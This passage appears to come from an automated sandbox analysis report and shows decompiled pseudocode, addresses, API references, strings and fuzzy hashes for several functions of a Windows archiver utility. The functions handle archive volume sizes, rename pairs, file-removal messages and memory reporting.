						while(E01252C4D( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t160 + 0x1e8)) + _t155 * 4)))), _t164 - 0x14) != 0 && ( *(_t164 - 0x14) |  *(_t164 - 0x10)) != 0) {
							E01239123(_t112 + 0x108,  *(_t164 - 0x14),  *(_t164 - 0x10));
							_t155 = _t155 + 1;
							if(_t155 <  *((intOrPtr*)(_t160 + 0x1ec))) {
								continue;
							} else {
								goto L18;
							}
							goto L21;
						}
						_t128 = _t164 - 0x3c;
						_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t160 + 0x1e8)) + _t155 * 4)))));
						_push("Incorrect volume size:");
						E01248A22(_t128, __eflags);
						_push(0x126ded0);
						_push(_t164 - 0x3c);
						L01263CAC();
						E012639E0(E01264AD7, _t164);
						_push(_t128);
						_push(_t160);
						_t162 = _t128;
						 *(_t164 - 0x10) = _t162;
						E012328E9(_t128);
						 *(_t164 - 4) =  *(_t164 - 4) & 0x00000000;
						E012328E9(_t162 + 0xc);
						 *(_t164 - 4) = 1;
						E012328E9(_t162 + 0x18);
						 *(_t164 - 4) = 2;
						E012328E9(_t162 + 0x24);
						 *(_t164 - 4) = 3;
						E012328E9(_t162 + 0x30);
						_t61 = _t162 + 0x3c;
						 *_t61 =  *(_t162 + 0x3c) & 0x00000000;
						__eflags =  *_t61;
						 *(_t164 - 4) = 4;
						E012328E9(_t162 + 0x40);
						 *(_t164 - 4) = 5;
						E012328E9(_t162 + 0x4c);
						 *[fs:0x0] =  *((intOrPtr*)(_t164 - 0xc));
						return _t162;
					}
				}
				L21:
			}

0x0123cadc
0x0123cae9
0x0123caed
0x0123caf0
0x0123cb09
0x0123cb0e
0x0123caf2
0x0123caf6
0x0123caf7
0x0123cb00
0x0123caf9
0x0123caf9
0x0123caf9
0x0123caf7
0x0123cb0f
0x0123cb15
0x0123cb1a
0x0123cb1e
0x0123cb29
0x0123cb2e
0x0123cb38
0x0123cb3f
0x0123cb42
0x0123cb46
0x0123cb51
0x0123cb52
0x0123cb59
0x0123cb5e
0x0123cb61
0x0123cb6a
0x0123cb6f
0x0123cb75
0x0123cb78
0x0123cb78
0x0123cb7d
0x0123cb86
0x0123cb8e
0x0123cb94
0x0123cbaa
0x0123cb96
0x0123cb9c
0x0123cb9c
0x0123cb94
0x0123cbb1
0x0123cbb9
0x0123cbbf
0x0123cbd1
0x0123cbd1
0x0123cbd6
0x0123cbdf
0x0123cc26
0x0123cc2c
0x0123cc3e
0x0123cc4a
0x0123cc52
0x0123cbe1
0x0123cbe1
0x0123cbe9
0x00000000
0x0123cbeb
0x0123cbeb
0x0123cc18
0x0123cc1d
0x0123cc24
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0123cc24
0x0123cc5b
0x0123cc61
0x0123cc63
0x0123cc68
0x0123cc70
0x0123cc75
0x0123cc76
0x0123cc80
0x0123cc85
0x0123cc86
0x0123cc87
0x0123cc89
0x0123cc8c
0x0123cc91
0x0123cc98
0x0123cca0
0x0123cca4
0x0123ccac
0x0123ccb0
0x0123ccb8
0x0123ccbc
0x0123ccc1
0x0123ccc1
0x0123ccc1
0x0123ccc8
0x0123cccc
0x0123ccd4
0x0123ccd8
0x0123cce3
0x0123cceb
0x0123cceb
0x0123cbe9
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0123CADC
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123CC76
__EH_prolog.LIBCMT ref: 0123CC80

Strings

Incorrect volume size:, xrefs: 0123CC63

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ExceptionThrow
String ID: Incorrect volume size:
API String ID: 2366012087-1799541332
Opcode ID: 40af5a7fdef838270dbd93f8133e6ab26dfb01b312c60aef0cff30fafb4928bd
Instruction ID: 6e3fdce7303116d91daabd8fe6bf28d6278cc9be0f105c6149e8419eb32f9d7d
Opcode Fuzzy Hash: 40af5a7fdef838270dbd93f8133e6ab26dfb01b312c60aef0cff30fafb4928bd
Instruction Fuzzy Hash: 5351D2B0920256DFDB18EFA4C844BEDB7F5BF60300F0444AED5867B291DBB06A49DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0123C32D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0123C32D(intOrPtr __ecx, signed int __edx) {
				signed int _t49;
				void* _t59;
				void* _t60;
				intOrPtr* _t62;
				short* _t72;
				intOrPtr* _t79;
				signed int _t83;
				signed int _t84;
				signed int _t87;
				void* _t89;

				_t49 = E012639E0(E012649E0, _t89);
				_t62 =  *((intOrPtr*)(_t89 + 0xc));
				_push(_t83);
				_t87 = __edx;
				 *((intOrPtr*)(_t89 - 0x10)) = __ecx;
				if(__ecx != 0 ||  *(_t62 + 4) == __edx) {
					if( *(_t89 + 0x1c) == 0) {
						_t59 = E0123296F(_t89 - 0x1c,  *0x1268660);
						 *(_t89 - 4) =  *(_t89 - 4) & 0x00000000;
						_t60 = E0123C2ED( *((intOrPtr*)(_t89 + 8)), _t59, 1,  *((intOrPtr*)(_t89 + 0x14)), 1);
						 *(_t89 - 4) =  *(_t89 - 4) | 0xffffffff;
						_t49 = E01231ABD(_t60,  *(_t89 - 0x1c));
					}
				}
				_t84 = _t83 | 0xffffffff;
				if( *(_t89 + 0x10) < 0) {
					_t49 =  *(_t62 + 4);
					 *(_t89 + 0x10) = _t49;
				}
				 *(_t89 + 0x1c) = _t87;
				if(_t87 >=  *(_t62 + 4)) {
					L20:
					 *[fs:0x0] =  *((intOrPtr*)(_t89 - 0xc));
					return _t49;
				} else {
					while(1) {
						_t50 =  *_t62;
						_t79 =  *((intOrPtr*)( *_t62 +  *(_t89 + 0x1c) * 4));
						if( *((intOrPtr*)(_t79 + 4)) == 0) {
							break;
						}
						if( *(_t89 + 0x1c) >=  *(_t89 + 0x10)) {
							L11:
							_t69 =  *((intOrPtr*)(_t89 - 0x10));
							__eflags =  *((intOrPtr*)(_t89 - 0x10));
							if( *((intOrPtr*)(_t89 - 0x10)) == 0) {
								E0123C2ED( *((intOrPtr*)(_t89 + 8)), _t79, 1,  *((intOrPtr*)(_t89 + 0x14)),  *((intOrPtr*)(_t89 + 0x18)));
							} else {
								__eflags = _t84 - 0xffffffff;
								if(__eflags != 0) {
									_push( *((intOrPtr*)(_t89 + 0x18)));
									_push(2);
									_push(_t79);
									E0123C472(_t69,  *((intOrPtr*)(_t50 + _t84 * 4)), __eflags);
									_t84 = _t84 | 0xffffffff;
								} else {
									_t84 =  *(_t89 + 0x1c);
								}
							}
							L16:
							 *(_t89 + 0x1c) =  *(_t89 + 0x1c) + 1;
							_t49 =  *(_t89 + 0x1c);
							if(_t49 <  *(_t62 + 4)) {
								continue;
							}
							_t104 = _t84 - 0xffffffff;
							if(_t84 == 0xffffffff) {
								goto L20;
							}
							_push( *((intOrPtr*)( *((intOrPtr*)( *_t62 + _t84 * 4)))));
							_push("There is no second file name for rename pair:");
							E01248A22(_t89 - 0x28, _t104);
							_push(0x126ded0);
							_push(_t89 - 0x28);
							L01263CAC();
							break;
						}
						_t72 =  *_t79;
						_t102 =  *_t72 - 0x40;
						if( *_t72 != 0x40) {
							goto L11;
						} else {
							E0123C531( *((intOrPtr*)(_t89 - 0x10)),  *((intOrPtr*)(_t89 + 8)), _t102, _t72 + 2, 1,  *((intOrPtr*)(_t89 + 0x14)),  *((intOrPtr*)(_t89 + 0x18)),  *((intOrPtr*)(_t89 + 0x20)));
							goto L16;
						}
					}
					_push(0);
					_push( *0x1268674);
					E01248A22(_t89 - 0x1c, _t104);
					_t49 = _t89 - 0x1c;
					_push(0x126ded0);
					_push(_t49);
					L01263CAC();
					goto L20;
				}
			}

0x0123c332
0x0123c33b
0x0123c33f
0x0123c342
0x0123c344
0x0123c347
0x0123c352
0x0123c35d
0x0123c365
0x0123c372
0x0123c377
0x0123c37e
0x0123c383
0x0123c352
0x0123c384
0x0123c38b
0x0123c38d
0x0123c390
0x0123c390
0x0123c396
0x0123c399
0x0123c461
0x0123c467
0x0123c46f
0x0123c39f
0x0123c39f
0x0123c39f
0x0123c3a4
0x0123c3ab
0x00000000
0x00000000
0x0123c3b7
0x0123c3dd
0x0123c3dd
0x0123c3e0
0x0123c3e2
0x0123c40c
0x0123c3e4
0x0123c3e4
0x0123c3e7
0x0123c3ee
0x0123c3f1
0x0123c3f3
0x0123c3f7
0x0123c3fc
0x0123c3e9
0x0123c3e9
0x0123c3e9
0x0123c3e7
0x0123c411
0x0123c411
0x0123c414
0x0123c41a
0x00000000
0x00000000
0x0123c41c
0x0123c41f
0x00000000
0x00000000
0x0123c429
0x0123c42b
0x0123c430
0x0123c438
0x0123c43d
0x0123c43e
0x00000000
0x0123c43e
0x0123c3b9
0x0123c3bb
0x0123c3bf
0x00000000
0x0123c3c1
0x0123c3d6
0x00000000
0x0123c3d6
0x0123c3bf
0x0123c443
0x0123c448
0x0123c44e
0x0123c453
0x0123c456
0x0123c45b
0x0123c45c
0x00000000
0x0123c45c

APIs

__EH_prolog.LIBCMT ref: 0123C332
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123C43E
_CxxThrowException.MSVCRT(00000000,0126DED0), ref: 0123C45C

Part of subcall function 0123C472: __EH_prolog.LIBCMT ref: 0123C477
Part of subcall function 0123C472: _CxxThrowException.MSVCRT(00000000,0126DED0), ref: 0123C51B

Strings

There is no second file name for rename pair:, xrefs: 0123C42B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionThrow$H_prolog
String ID: There is no second file name for rename pair:
API String ID: 206451386-3412818124
Opcode ID: f9808330ca21b172bbb24ed5dd1423a27dd9bea299ac279280022b6619c04acb
Instruction ID: 9a2bd558d8d369691ea519cefe67e751c827d2bfa2758a1b1d84822c766af04d
Opcode Fuzzy Hash: f9808330ca21b172bbb24ed5dd1423a27dd9bea299ac279280022b6619c04acb
Instruction Fuzzy Hash: D3416DB162020ADFCF15DF94C841BAE7B72FF94720F10821AFA256B2D5C7719961CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0125BB23 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125BB23(void* __ecx) {
				void* _t40;
				void* _t56;
				void* _t68;
				void* _t90;
				signed int _t98;
				intOrPtr _t99;
				char** _t101;
				void* _t103;

				E012639E0(0x1267178, _t103);
				_t68 = __ecx;
				if( *((char*)(__ecx + 0x131)) != 0 &&  *((intOrPtr*)(__ecx + 0xb8)) != 0) {
					_t101 = __ecx + 0x124;
					_t101[1] = 0;
					 *( *(__ecx + 0x124)) =  *( *(__ecx + 0x124)) & 0x00000000;
					E0125BC65(__ecx + 8);
					 *(_t103 - 0x10) = 0;
					if( *((intOrPtr*)( *((intOrPtr*)(_t103 + 8)) + 8)) > 0) {
						do {
							_t98 =  *(_t103 - 0x10);
							_t111 = _t98;
							if(_t98 != 0) {
								E012324BF();
							}
							_t99 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 + 8)) + 4)) + _t98 * 4));
							E0123251D(_t101, _t111, _t99 + 4);
							 *((intOrPtr*)(_t103 - 0x14)) =  *((intOrPtr*)(_t99 + 8));
							E0125BC7F(_t101, E0125BB17( *((intOrPtr*)(_t99 + 0x10))) -  *((intOrPtr*)(_t103 - 0x14)));
							 *(_t103 - 0x10) =  *(_t103 - 0x10) + 1;
						} while ( *(_t103 - 0x10) <  *((intOrPtr*)( *((intOrPtr*)(_t103 + 8)) + 8)));
					}
					_t113 =  *((char*)(_t68 + 0x132));
					if( *((char*)(_t68 + 0x132)) != 0) {
						E012324BF();
						E01232351(_t103 - 0x20, "Size");
						 *(_t103 - 4) =  *(_t103 - 4) & 0x00000000;
						_t90 = 0xd;
						E0125BC7F(_t101, _t90 -  *((intOrPtr*)(_t103 - 0x1c)));
						_t56 = E0123251D(_t101, _t113, _t103 - 0x20);
						 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
						E01231ABD(_t56,  *((intOrPtr*)(_t103 - 0x20)));
					}
					if( *((char*)(_t68 + 0x133)) != 0) {
						E012324BF();
						E012324BF();
						E012324DB(_t101, "Name");
					}
					fputs( *_t101,  *( *(_t68 + 0xb8)));
					E01231CAE( *(_t68 + 0xb8));
					E0125BA4E(_t68,  *((intOrPtr*)(_t103 + 8)) + 4);
				}
				_t40 = E0125A3B2();
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t40;
			}

0x0125bb28
0x0125bb31
0x0125bb3b
0x0125bb56
0x0125bb5f
0x0125bb62
0x0125bb65
0x0125bb6d
0x0125bb73
0x0125bb75
0x0125bb75
0x0125bb78
0x0125bb7a
0x0125bb7e
0x0125bb7e
0x0125bb8b
0x0125bb92
0x0125bb9d
0x0125bbac
0x0125bbb1
0x0125bbba
0x0125bb75
0x0125bbbf
0x0125bbc6
0x0125bbca
0x0125bbd7
0x0125bbdc
0x0125bbe2
0x0125bbe8
0x0125bbf3
0x0125bbfb
0x0125bbff
0x0125bc04
0x0125bc0c
0x0125bc10
0x0125bc17
0x0125bc23
0x0125bc23
0x0125bc32
0x0125bc3c
0x0125bc4a
0x0125bc4f
0x0125bc50
0x0125bc5a
0x0125bc62

APIs

__EH_prolog.LIBCMT ref: 0125BB28
fputs.MSVCRT ref: 0125BC32

Strings

Size, xrefs: 0125BBCF
Name, xrefs: 0125BC1C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prologfputs
String ID: Name$Size
API String ID: 1798449854-481755742
Opcode ID: edd14fb952398d71a40746d1b175144df78a9b2f23da69c71dce54065a49cb8f
Instruction ID: 4e88fb56e33622e29da80dd1cda761894f6e230076e927caf08c66643a4e746d
Opcode Fuzzy Hash: edd14fb952398d71a40746d1b175144df78a9b2f23da69c71dce54065a49cb8f
Instruction Fuzzy Hash: BD31CD71A10616DFCF05EF68C8C4ABCBBB2FF94310F144068ED595B295CB74AA81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01262459 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E01262459(void* __ecx, void* __edx, void* __ebp) {
				intOrPtr _v0;
				char* _t65;
				char** _t66;
				struct _IO_FILE** _t67;
				void* _t68;

				_t68 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc8)) <= 0 ||  *(__ecx + 0xb8) == 0) {
					L7:
					_t65 = _t68 + 0x129;
					if( *((intOrPtr*)(_t68 + 0x129)) != 0) {
						 *((intOrPtr*)(_t68 + 0x18)) =  *((intOrPtr*)(_t68 + 0x18)) + 1;
						asm("adc [esi+0x1c], ebx");
					} else {
						if( *((intOrPtr*)(_t68 + 0xac)) != 0) {
							E01261818(_t68 + 8);
						}
						 *_t65 = 1;
					}
					if( *((intOrPtr*)(_t68 + 0xac)) != 0) {
						E012323B0(_t68 + 0x20, "Removing");
						E01232A8C(_t68 + 0x2c, _v0);
						E0126196E(_t68 + 8);
					}
					return 0;
				} else {
					E0125BC65(__ecx + 8);
					if( *((intOrPtr*)(__ecx + 0x129)) == 0) {
						_t67 =  *(__ecx + 0xb8);
						if(_t67 != 0) {
							E01231CAE(_t67);
							fputs(": Removing files after including to archive",  *_t67);
							E01231CAE(_t67);
						}
					}
					_t66 = _t68 + 0xcc;
					E012323B0(_t66, "Removing");
					E012324BF();
					fputs( *_t66,  *( *(_t68 + 0xb8)));
					_t71 = _t68 + 0xd8;
					E01232A8C(_t68 + 0xd8, _v0);
					E01231DE0( *(_t68 + 0xb8), _t71);
					E01231D87( *(_t68 + 0xb8), _t71, _t66);
					E01231CAE( *(_t68 + 0xb8));
					if( *((intOrPtr*)(_t68 + 0xc1)) != 0) {
						E01231C9F( *(_t68 + 0xb8));
					}
					goto L7;
				}
			}

0x0126245b
0x01262466
0x01262522
0x01262528
0x0126252e
0x01262545
0x01262549
0x01262530
0x01262536
0x0126253b
0x0126253b
0x01262540
0x01262540
0x01262552
0x0126255c
0x01262568
0x01262570
0x01262570
0x0126257a
0x01262478
0x0126247c
0x0126248d
0x0126248f
0x01262497
0x0126249b
0x012624a7
0x012624ad
0x012624ad
0x01262497
0x012624b2
0x012624bf
0x012624c6
0x012624d5
0x012624d8
0x012624e5
0x012624f1
0x012624fe
0x01262509
0x01262515
0x0126251d
0x0126251d
0x00000000
0x01262515

APIs

fputs.MSVCRT ref: 012624A7
fputs.MSVCRT ref: 012624D5

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Strings

: Removing files after including to archive, xrefs: 012624A2
Removing, xrefs: 012624B8, 01262554

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$fputc
String ID: : Removing files after including to archive$Removing
API String ID: 1185151155-1218467041
Opcode ID: 4f8684c113ed0302ba6f0a35c63da11b394c145a3a86e51edf40b80ca7c42a93
Instruction ID: d155cefe9dc9c467d4324ed171dd2bd8cee7b60b58874ef5ea680c159dbbf1a9
Opcode Fuzzy Hash: 4f8684c113ed0302ba6f0a35c63da11b394c145a3a86e51edf40b80ca7c42a93
Instruction Fuzzy Hash: CC318472620746CFD775FB64D890AFAB7AAAFA4200F00481DD19B035A0DF2038A9CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0125D1D4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0125D1D4(struct _IO_FILE** __ecx, void* __edx, void* __eflags) {
				void* __edi;
				void* _t24;
				void* _t25;
				struct _IO_FILE** _t60;
				void* _t66;

				E012639E0(0x1267280, _t66);
				_t60 = __ecx;
				E012328E9(_t66 - 0x24);
				 *((intOrPtr*)(_t66 - 4)) = 0;
				_t24 = E012538F4(_t66 - 0x24,  *((intOrPtr*)(_t66 + 0xc)), __edx, 0);
				if( *((intOrPtr*)(_t66 - 0x20)) != 0) {
					E0123232F(_t66 - 0x18);
					 *((char*)(_t66 - 4)) = 1;
					E012328E9(_t66 - 0x30);
					 *((char*)(_t66 - 4)) = 2;
					E0125C2DC(__edx,  *((intOrPtr*)(_t66 + 8)), _t66 - 0x18, _t66 - 0x30);
					_t73 =  *((intOrPtr*)(_t66 - 0x14));
					if( *((intOrPtr*)(_t66 - 0x14)) == 0) {
						_push( *((intOrPtr*)(_t66 - 0x30)));
						E01231CC1(_t60);
					} else {
						fputs( *(_t66 - 0x18),  *_t60);
					}
					fputs(" = ",  *_t60);
					_t24 = E01231ABD(E01231ABD(E0125D0EC(_t60,  *((intOrPtr*)(_t66 - 0x24)), _t60, _t73),  *((intOrPtr*)(_t66 - 0x30))),  *(_t66 - 0x18));
				}
				_t25 = E01231ABD(_t24,  *((intOrPtr*)(_t66 - 0x24)));
				 *[fs:0x0] =  *((intOrPtr*)(_t66 - 0xc));
				return _t25;
			}

0x0125d1d9
0x0125d1e4
0x0125d1eb
0x0125d1fa
0x0125d1fd
0x0125d205
0x0125d20a
0x0125d212
0x0125d216
0x0125d228
0x0125d22c
0x0125d231
0x0125d23a
0x0125d247
0x0125d24c
0x0125d23c
0x0125d241
0x0125d244
0x0125d258
0x0125d271
0x0125d277
0x0125d27b
0x0125d287
0x0125d28f

APIs

__EH_prolog.LIBCMT ref: 0125D1D9
fputs.MSVCRT ref: 0125D241
fputs.MSVCRT ref: 0125D258

Strings

= , xrefs: 0125D253

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog
String ID: =
API String ID: 2614055831-2525689732
Opcode ID: 3443cfbcdcf8048e9dd18e25a46e5fd999a3def75a9fbf15139882ae7bbcf0e7
Instruction ID: d9482e89cd9a1d58f3901efdc3cd1dbf5466158af8b10b8166707ffd61464b26
Opcode Fuzzy Hash: 3443cfbcdcf8048e9dd18e25a46e5fd999a3def75a9fbf15139882ae7bbcf0e7
Instruction Fuzzy Hash: B6218E7292011AEBCF06EBD4E881CFEFBB9EF98250F10401AE405A3290DB715E51DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01245D3A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E01245D3A(void* __ebx, intOrPtr* __ecx, void* __edx) {
				void* _t28;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				intOrPtr* _t60;
				void* _t62;
				void* _t64;
				intOrPtr* _t65;

				_t38 = __ebx;
				E012639E0(E012655A0, _t62);
				_t65 = _t64 - 0xc;
				_t60 = __ecx;
				_push("RAM ");
				 *((intOrPtr*)( *__ecx))();
				_push(__edx);
				 *((intOrPtr*)( *__ecx))();
				_t67 =  *((char*)(_t62 + 8));
				if( *((char*)(_t62 + 8)) == 0) {
					_push("      ?");
					 *((intOrPtr*)( *__ecx))();
				} else {
					_t54 =  *((intOrPtr*)(_t62 + 0x10));
					_t50 = 0x14;
					_t36 = E01263C70( *((intOrPtr*)(_t62 + 0xc)), _t50, _t54);
					_push(_t54);
					_push(_t36);
					_t55 = 6;
					E012430BD(__ecx, _t55, _t67);
				}
				 *((intOrPtr*)( *_t60))(" MB");
				E0123232F(_t62 - 0x18);
				 *(_t62 - 4) =  *(_t62 - 4) & 0x00000000;
				E01242E4D(_t38, _t62 - 0x18);
				_t28 =  *((intOrPtr*)( *_t60))( *((intOrPtr*)(_t62 - 0x18)));
				_t9 = _t62 - 4;
				 *(_t62 - 4) =  *(_t62 - 4) | 0xffffffff;
				E01231ABD(_t28,  *((intOrPtr*)(_t62 - 0x18)));
				 *_t65 = 0x126972c;
				 *((intOrPtr*)( *_t60))();
				 *((intOrPtr*)( *_t60))( *((intOrPtr*)(_t62 + 0x14)));
				_t53 = 3;
				_t34 = E012430BD(_t60, _t53,  *_t9,  *((intOrPtr*)(_t62 + 0x18)), 0);
				 *[fs:0x0] =  *((intOrPtr*)(_t62 - 0xc));
				return _t34;
			}

0x01245d3a
0x01245d3f
0x01245d44
0x01245d48
0x01245d4f
0x01245d54
0x01245d5a
0x01245d5b
0x01245d5d
0x01245d61
0x01245d81
0x01245d88
0x01245d63
0x01245d66
0x01245d6b
0x01245d6c
0x01245d73
0x01245d74
0x01245d77
0x01245d78
0x01245d78
0x01245d93
0x01245d98
0x01245d9d
0x01245da4
0x01245db0
0x01245db2
0x01245db2
0x01245db9
0x01245dc2
0x01245dc9
0x01245dd2
0x01245dd8
0x01245dde
0x01245de8
0x01245df0

APIs

__EH_prolog.LIBCMT ref: 01245D3F

Part of subcall function 012430BD: memset.MSVCRT ref: 012430D5
Part of subcall function 012430BD: strlen.MSVCRT ref: 012430F3

Strings

MB, xrefs: 01245D8C
RAM , xrefs: 01245D4F
?, xrefs: 01245D81

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prologmemsetstrlen
String ID: ?$ MB$RAM
API String ID: 2475707007-294454972
Opcode ID: 3cac7ba78ae0a812741c134098b623f31e7b5dc4e0247824d2d7d3d953c193d7
Instruction ID: 59e4b080ed32535b8f7255ef9d41629cb7b78b5d0df32c865aea70cace71154b
Opcode Fuzzy Hash: 3cac7ba78ae0a812741c134098b623f31e7b5dc4e0247824d2d7d3d953c193d7
Instruction Fuzzy Hash: 01215B31720105EFCB29EF58C849AADBBB5EF99750F104019F6828B3E0CB749881DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0123C472 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0123C472(void* __ecx, void* __edx, void* __eflags) {
				void* _t25;
				intOrPtr _t34;
				void* _t54;
				void* _t56;

				E012639E0(E012649F4, _t56);
				_t54 = E0123D360(__ecx);
				E01232A8C(_t54, __edx);
				_t1 = _t54 + 0xc; // 0xc
				_t51 = _t1;
				E01232A8C(_t1,  *((intOrPtr*)(_t56 + 8)));
				_t34 =  *((intOrPtr*)(_t56 + 0xc));
				 *((intOrPtr*)(_t54 + 0x1c)) = _t34;
				 *((char*)(_t54 + 0x18)) =  *((intOrPtr*)(_t56 + 0x10));
				_t25 = E01254B08(_t54);
				_t62 = _t25;
				if(_t25 == 0) {
					E012328E9(_t56 - 0x18);
					 *(_t56 - 4) =  *(_t56 - 4) & 0x00000000;
					E01232C71(_t56 - 0x18, _t62, _t54);
					E01232BFE(_t56 - 0x18);
					E01232C71(_t56 - 0x18, _t62, _t51);
					E01232BFE(_t56 - 0x18);
					_t63 = _t34;
					if(_t34 != 0) {
						__eflags = _t34 - 1;
						if(__eflags == 0) {
							_push("-r0");
							goto L5;
						}
					} else {
						_push("-r");
						L5:
						E01232CAD(_t56 - 0x18);
					}
					_push( *((intOrPtr*)(_t56 - 0x18)));
					_push("Unsupported rename command:");
					E01248A22(_t56 - 0x24, _t63);
					_t25 = _t56 - 0x24;
					_push(0x126ded0);
					_push(_t25);
					L01263CAC();
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t56 - 0xc));
				return _t25;
			}

0x0123c477
0x0123c489
0x0123c48e
0x0123c493
0x0123c493
0x0123c49b
0x0123c4a0
0x0123c4a8
0x0123c4ab
0x0123c4ae
0x0123c4b3
0x0123c4b5
0x0123c4ba
0x0123c4bf
0x0123c4c7
0x0123c4cf
0x0123c4d8
0x0123c4e0
0x0123c4e5
0x0123c4e7
0x0123c4f0
0x0123c4f3
0x0123c4f5
0x00000000
0x0123c4f5
0x0123c4e9
0x0123c4e9
0x0123c4fa
0x0123c4fd
0x0123c4fd
0x0123c502
0x0123c508
0x0123c50d
0x0123c512
0x0123c515
0x0123c51a
0x0123c51b
0x0123c51b
0x0123c526
0x0123c52e

APIs

__EH_prolog.LIBCMT ref: 0123C477

Part of subcall function 0123D360: __EH_prolog.LIBCMT ref: 0123D365

_CxxThrowException.MSVCRT(00000000,0126DED0), ref: 0123C51B

Strings

Unsupported rename command:, xrefs: 0123C508
-r0, xrefs: 0123C4F5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ExceptionThrow
String ID: -r0$Unsupported rename command:
API String ID: 2366012087-1002762148
Opcode ID: dd1e264d0c0de168e5064e9afb1c2b6c6763e086e3ef236410ede9a002e9f91b
Instruction ID: f7b5210bf81578b7d01853ddf8f2a84d1ff43319d71befae4f49666cf6d636ff
Opcode Fuzzy Hash: dd1e264d0c0de168e5064e9afb1c2b6c6763e086e3ef236410ede9a002e9f91b
